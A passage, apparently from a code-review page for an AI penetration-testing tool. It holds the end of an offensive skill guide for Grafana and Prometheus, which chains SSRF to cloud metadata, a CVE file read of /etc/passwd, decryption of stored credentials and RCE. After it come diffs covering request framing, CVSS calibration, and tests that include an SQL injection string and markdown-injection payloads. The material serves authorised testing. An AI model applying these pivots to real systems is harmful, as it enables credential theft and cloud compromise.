2. **Fingerprint versions** → shortlist applicable CVEs (43798, 9264, 4123, 39226/1313, Infinity 8341).
|
||||
3. **Auth matrix** — unauth vs anon vs viewer vs default creds vs leaked token, per component.
|
||||
4. **Recon-pivot** — pull Prometheus config/targets + PromQL inventory; enumerate Grafana `/api/datasources`.
|
||||
5. **SSRF-pivot** — data source proxy / render / webhook → internal services + `169.254.169.254`.
|
||||
6. **Credential-pivot** — file read (43798) → `secret_key` → decrypt `grafana.db`; scrape/remote_write/receiver creds; then reuse against each backend.
|
||||
7. **Deepen** — RCE (9264 if `duckdb` present), cloud account via metadata, k8s SA token, DB access; demonstrate real impact.
|
||||
|
||||
## Validation
|
||||
|
||||
- SSRF: show the **full body** of an internal-only URL (metadata creds, internal API JSON) returned through Grafana — not just a timing/blind signal.
|
||||
- Credential theft: show the leaked secret AND prove reuse (authenticate to the backend / cloud), or clearly explain the reuse path.
|
||||
- File read (43798): return contents of `/etc/passwd` or `grafana.ini` with `--path-as-is`; note affected version.
|
||||
- RCE (9264): confirm `duckdb` in PATH first; demonstrate command execution or file read; note version 11.x.
|
||||
- Recon: for Prometheus/Alertmanager exposure, pair the open endpoint with the concrete sensitive data recovered (leaked creds, internal inventory) so the finding shows impact, not just "it's reachable".
|
||||
|
||||
## False Positives / Down-rate
|
||||
|
||||
- Endpoint reachable only from localhost / same trusted segment by design, behind an authenticating reverse proxy (test through the real ingress).
|
||||
- Grafana Enterprise (real URL validator) or OSS with a configured `data_source_proxy_whitelist` → SSRF blocked.
|
||||
- CVE-2024-9264 with **no `duckdb` in PATH** → not exploitable (do not report as RCE).
|
||||
- Patched versions (Grafana ≥ the fixed release for each CVE; check `/api/health`).
|
||||
- **Demo/sandbox instances with synthetic data** — down-rate per demo-data guidance; exposed monitoring of a throwaway target is low impact.
|
||||
- Metrics that are genuinely public/non-sensitive (e.g. an intentionally public status page).
|
||||
|
||||
## Impact
|
||||
|
||||
- Cloud account compromise (metadata creds via SSRF), internal network read access, and network mapping.
|
||||
- Theft of every backend credential Grafana/Prometheus/Alertmanager touches → lateral movement into DBs, Elasticsearch, cloud APIs.
|
||||
- RCE on the Grafana host (CVE-2024-9264) and arbitrary file read (CVE-2021-43798).
|
||||
- Kubernetes cluster recon → SA token / kubelet exposure → cluster compromise.
|
||||
- Alert suppression for detection evasion; secret/PII exposure via logs & traces.
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Always fingerprint the version first (`/api/health`, `/api/v1/status/buildinfo`) — it decides RCE vs read vs recon.
|
||||
2. The exposed dashboard is never the finding; the pivot is. Chain to metadata creds, backend creds, or RCE before reporting.
|
||||
3. Prometheus `<secret>` masking is incomplete — hunt usernames and **URL-embedded creds** in `/api/v1/status/config` and `remote_write`.
|
||||
4. Grafana can query its own backends for you via the data source proxy — you don't need the plaintext password to exfil data.
|
||||
5. `*_build_info` and `kube_node_info` metrics hand you exact component versions — turn them straight into CVE targets.
|
||||
6. Pair with `ssrf`, `information_disclosure`, `kubernetes`, `aws`/`gcp`, and `authentication_jwt` skills; use `nuclei` templates (`grafana-*`, `prometheus-*`) for fast triage.
|
||||
7. On k8s, an exposed Prometheus/KSM often reveals the whole cluster topology and image versions with zero auth — prioritize it as a recon multiplier.
|
||||
|
||||
## Summary
|
||||
|
||||
Grafana and Prometheus are pivot engines, not endpoints. Grafana holds plaintext-recoverable credentials for every backend, proxies arbitrary server-side requests by default (SSRF → cloud metadata), reads arbitrary files (CVE-2021-43798), and can hit RCE (CVE-2024-9264). Prometheus/Alertmanager expose internal inventory, versions, and scrape/receiver credentials with no auth. Treat any reachable observability service as a launch point into the internal network, cloud account, databases, and cluster — and prove the pivot.
|
||||
@@ -167,6 +167,9 @@ async def get_request_with_client(
|
||||
return await client.request.get(request_id, opts)
|
||||
|
||||
|
||||
_FRAMING_HEADERS = frozenset({"content-length", "transfer-encoding"})
|
||||
|
||||
|
||||
def build_raw_request(
|
||||
*,
|
||||
method: str,
|
||||
@@ -187,7 +190,16 @@ def build_raw_request(
|
||||
final_headers = {**headers}
|
||||
final_headers.setdefault("Host", parsed.netloc)
|
||||
final_headers.setdefault("User-Agent", "strix")
|
||||
if body and "Content-Length" not in {k.title() for k in final_headers}:
|
||||
# Framing headers inherited from the captured request describe the ORIGINAL
|
||||
# body; once the body is modified for replay they are stale. We always send a
|
||||
# plain (non-chunked) body with an explicit Content-Length, so drop any
|
||||
# inherited Content-Length AND Transfer-Encoding (case-insensitively) and
|
||||
# recompute the length from the body actually being sent. This keeps the two
|
||||
# framing mechanisms from conflicting (RFC 7230 3.3.3: a leftover
|
||||
# Transfer-Encoding would make the target ignore Content-Length and try to
|
||||
# parse the body as chunked), so the replay is never desynced.
|
||||
final_headers = {k: v for k, v in final_headers.items() if k.lower() not in _FRAMING_HEADERS}
|
||||
if body:
|
||||
final_headers["Content-Length"] = str(len(body.encode("utf-8")))
|
||||
|
||||
lines = [f"{method.upper()} {path} HTTP/1.1"]
|
||||
|
||||
@@ -422,6 +422,30 @@ async def create_vulnerability_report(
|
||||
"availability": "H"
|
||||
}
|
||||
|
||||
**CVSS calibration** — score the weakness you actually proved, not a
|
||||
hypothetical worst case. Most over-rating comes from these mistakes:
|
||||
|
||||
- **Don't presuppose a separate compromise.** If exploitation
|
||||
requires the attacker to already hold a victim secret (a stolen
|
||||
session cookie/token, a leaked one-time link, intercepted traffic),
|
||||
that acquisition is not free. Do not score it as
|
||||
``privileges_required:N`` with ``attack_complexity:L`` as if
|
||||
directly reachable, and do not rate a replay-of-captured-secret
|
||||
issue High/Critical unless the *same* finding demonstrates a
|
||||
concrete way to obtain that secret. Issues like a session that
|
||||
survives logout or a replayable link are session-management /
|
||||
defense-in-depth weaknesses — usually Low/Medium on their own.
|
||||
- **Reserve ``H`` impact for demonstrated broad impact.** ``C:H`` /
|
||||
``I:H`` require proof of wide or systemic read/write. A single
|
||||
user's data, a read-only information leak, or merely confirming
|
||||
that an account / domain / software version *exists* (enumeration)
|
||||
is ``C:L`` (often ``I:N``) — not ``C:H``.
|
||||
- **Model required position and interaction honestly.** An
|
||||
adversary-in-the-middle prerequisite (e.g. cleartext transmission)
|
||||
or a required victim action is not guaranteed — reflect it in
|
||||
``attack_complexity`` / ``user_interaction`` instead of assuming the
|
||||
ideal condition always holds.
|
||||
|
||||
**CVE / CWE rules**: pass the bare ID only (``CVE-2024-1234``,
|
||||
``CWE-89``) — no name, no parenthetical. Be 100% certain; if
|
||||
unsure, use ``web_search`` to verify the ID before passing, or omit
|
||||
|
||||
@@ -140,6 +140,59 @@ async def test_host_call_serializes_concurrent_calls() -> None:
|
||||
assert state["max"] == 1
|
||||
|
||||
|
||||
def _headers_named(raw: bytes, name: str) -> list[str]:
|
||||
head = raw.decode("utf-8").split("\r\n\r\n", 1)[0]
|
||||
return [
|
||||
line.split(":", 1)[1].strip()
|
||||
for line in head.split("\r\n")[1:]
|
||||
if line.split(":", 1)[0].strip().lower() == name.lower()
|
||||
]
|
||||
|
||||
|
||||
def test_build_raw_request_recomputes_content_length_for_modified_body() -> None:
|
||||
# The captured request declared Content-Length: 12 (original body); the
|
||||
# replayed body is longer. The emitted request must carry exactly one
|
||||
# Content-Length equal to the ACTUAL body length, or the target truncates
|
||||
# the modified payload (or the connection desyncs).
|
||||
body = '{"user":"a\' OR 1=1 -- injected long payload"}'
|
||||
_conn, raw = caido_api.build_raw_request(
|
||||
method="POST",
|
||||
url="https://example.com/login",
|
||||
headers={"content-length": "12", "Content-Type": "application/json"},
|
||||
body=body,
|
||||
)
|
||||
sent_body = raw.decode("utf-8").split("\r\n\r\n", 1)[1]
|
||||
assert sent_body == body
|
||||
assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))]
|
||||
|
||||
|
||||
def test_build_raw_request_drops_transfer_encoding_for_modified_body() -> None:
|
||||
body = '{"user":"updated"}'
|
||||
_conn, raw = caido_api.build_raw_request(
|
||||
method="POST",
|
||||
url="https://example.com/login",
|
||||
headers={
|
||||
"tRaNsFeR-EnCoDiNg": "chunked",
|
||||
"Content-Length": "7",
|
||||
"Content-Type": "application/json",
|
||||
},
|
||||
body=body,
|
||||
)
|
||||
assert _headers_named(raw, "Transfer-Encoding") == []
|
||||
assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))]
|
||||
|
||||
|
||||
def test_build_raw_request_drops_stale_content_length_for_empty_body() -> None:
|
||||
# A body cleared to empty must not keep the inherited (non-zero) length.
|
||||
_conn, raw = caido_api.build_raw_request(
|
||||
method="POST",
|
||||
url="https://example.com/x",
|
||||
headers={"Content-Length": "12"},
|
||||
body="",
|
||||
)
|
||||
assert _headers_named(raw, "Content-Length") == []
|
||||
|
||||
|
||||
class _Ctx:
|
||||
def __init__(self, context: Any) -> None:
|
||||
self.context = context
|
||||
|
||||
@@ -113,6 +113,28 @@ def test_render_vulnerability_md_includes_dependency_fields() -> None:
|
||||
assert "## Assumptions" in md
|
||||
|
||||
|
||||
def test_render_vulnerability_md_poc_code_cannot_break_out_of_fence() -> None:
|
||||
# LLM/target-authored PoC content containing its own ``` must not close the
|
||||
# fence early and turn the injected markdown into live headings/images.
|
||||
injected = "curl x\n```\n\n## Injected Heading\n"
|
||||
md = render_vulnerability_md(_sample_report(poc_script_code=injected))
|
||||
lines = md.split("\n")
|
||||
fence = next(ln for ln in lines[lines.index("## Proof of Concept") + 1 :] if ln.strip())
|
||||
assert set(fence) == {"`"}
|
||||
assert len(fence) >= 4 # wider than the payload's 3-backtick run
|
||||
assert injected in md # the payload survives verbatim, inside the fence
|
||||
|
||||
|
||||
def test_render_vulnerability_md_snippet_cannot_break_out_of_fence() -> None:
|
||||
snippet = "row = q()\n```\n## Injected"
|
||||
md = render_vulnerability_md(
|
||||
_sample_report(code_locations=[{"file": "app.py", "snippet": snippet}]),
|
||||
)
|
||||
assert (
|
||||
" ````\n row = q()\n ```\n ## Injected\n ````"
|
||||
) in md # indented fence widened past the payload's ``` run
|
||||
|
||||
|
||||
def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) -> None:
|
||||
reports = [
|
||||
_sample_report(id="vuln-0001", severity="medium", timestamp="2026-07-02 11:00:00 UTC"),
|
||||
|
||||
Reference in New Issue
Block a user